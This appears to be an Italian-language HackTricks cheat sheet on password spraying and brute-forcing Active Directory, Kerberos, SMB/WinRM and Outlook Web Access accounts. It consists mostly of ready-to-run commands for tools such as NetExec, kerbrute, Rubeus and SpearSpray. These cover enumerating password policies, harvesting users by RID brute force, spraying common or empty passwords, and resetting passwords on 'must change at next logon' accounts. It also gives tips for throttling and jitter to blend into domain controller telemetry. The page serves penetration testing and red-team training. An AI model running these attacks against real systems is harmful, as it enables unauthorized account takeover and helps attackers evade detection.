Password Spraying / Brute Force

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Password Spraying

Una volta che hai trovato diversi valid usernames puoi provare le common passwords (tieni in considerazione la password policy dell'ambiente) con ciascuno degli utenti scoperti.
Per default la minimum password length è 7.

Liste di common usernames potrebbero anche essere utili: https://github.com/insidetrust/statistically-likely-usernames

Nota che could lockout some accounts if you try several wrong passwords (by default more than 10).

Ottenere la password policy

Se hai alcune user credentials o una shell come domain user puoi get the password policy with:

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Sfruttamento da Linux (o da qualsiasi sistema)

  • Usando crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
  • Uso di NetExec (CME successor) per uno spraying mirato e a basso rumore attraverso SMB/WinRM:
bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts

# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares

# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"

# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (puoi indicare il numero di tentativi per evitare i blocchi):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Usando kerbrute (python) - NON RACCOMANDATO, A VOLTE NON FUNZIONA
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Con il modulo scanner/smb/smb_login di Metasploit:

  • Usando rpcclient:
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Da Windows

  • Con Rubeus in una versione con il brute module:
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Con Invoke-DomainPasswordSpray (Può generare utenti dal dominio per impostazione predefinita e otterrà la password policy dal dominio e limiterà i tentativi in base ad essa):
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Identificare e prendere il controllo degli account "Password must change at next logon" (SAMR)

Una tecnica a basso rumore è effettuare un password spray usando una password innocua/vuota e individuare gli account che restituiscono STATUS_PASSWORD_MUST_CHANGE, che indica che la password è stata forzatamente scaduta e può essere cambiata senza conoscere quella precedente.

Workflow:

  • Enumerare gli utenti (RID brute via SAMR) per costruire la lista degli obiettivi:

rpcclient enumeration

bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
  • Spray una password vuota e continua sui hits per acquisire account che devono cambiare al prossimo logon:
bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
  • Per ogni hit, cambia la password tramite SAMR con il modulo di NetExec (non è necessaria la vecchia password quando "must change" è impostato):
bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"

# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol

Note operative:

  • Assicurati che l'orologio dell'host sia sincronizzato con il DC prima delle operazioni basate su Kerberos: sudo ntpdate <dc_fqdn>.
  • Un [+] senza (Pwn3d!) in alcuni moduli (es., RDP/WinRM) significa che le creds sono valide ma l'account non ha diritti di accesso interattivo.

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth spraying con targeting LDAP e throttling consapevole delle PSO (SpearSpray)

Kerberos pre-auth–based spraying riduce il rumore rispetto ai tentativi di bind SMB/NTLM/LDAP e si allinea meglio con le policy di lockout di AD. SpearSpray associa targeting guidato da LDAP, un motore di pattern e consapevolezza delle policy (domain policy + PSOs + buffer badPwdCount) per effettuare lo spraying in modo preciso e sicuro. Può anche taggare i principal compromessi in Neo4j per il pathing di BloodHound.

Concetti chiave:

  • Scoperta utenti via LDAP con paging e supporto LDAPS, opzionalmente usando filtri LDAP personalizzati.
  • Filtraggio PSO-aware + domain lockout policy per lasciare un buffer configurabile di tentativi (threshold) e evitare il blocco degli utenti.
  • Validazione Kerberos pre-auth usando binding gssapi veloci (genera 4768/4771 sui DC invece di 4625).
  • Generazione password per-utente basata su pattern usando variabili come nomi e valori temporali derivati da pwdLastSet di ciascun utente.
  • Controllo del throughput con threads, jitter e limite massimo di richieste al secondo.
  • Integrazione opzionale con Neo4j per marcare gli utenti owned per BloodHound.

Uso base e scoperta:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

Targeting e controllo dei pattern:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

Stealth e controlli di sicurezza:

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Arricchimento Neo4j/BloodHound:

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

Panoramica del sistema di pattern (patterns.txt):

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Available variables include:

  • {name}, {samaccountname}
  • Temporali da pwdLastSet (o whenCreated) di ciascun utente: {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Helper di composizione e token dell'organizzazione: {separator}, {suffix}, {extra}

Operational notes:

  • Privilegiare le interrogazioni al PDC-emulator con -dc per leggere il badPwdCount più autorevole e le informazioni relative alle policy.
  • I reset di badPwdCount vengono attivati al tentativo successivo dopo la finestra di osservazione; usa soglie e tempistiche per restare sicuro.
  • I tentativi di pre-auth Kerberos compaiono come 4768/4771 nella telemetry del DC; usa jitter e rate-limiting per mimetizzarti.

Suggerimento: la dimensione pagina LDAP predefinita di SpearSpray è 200; regola con -lps se necessario.

Outlook Web Access

Sono disponibili diversi strumenti per password spraying outlook.

Per usare uno di questi strumenti, ti serve una lista di utenti e una password / una piccola lista di passwords da usare per il password spraying.

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks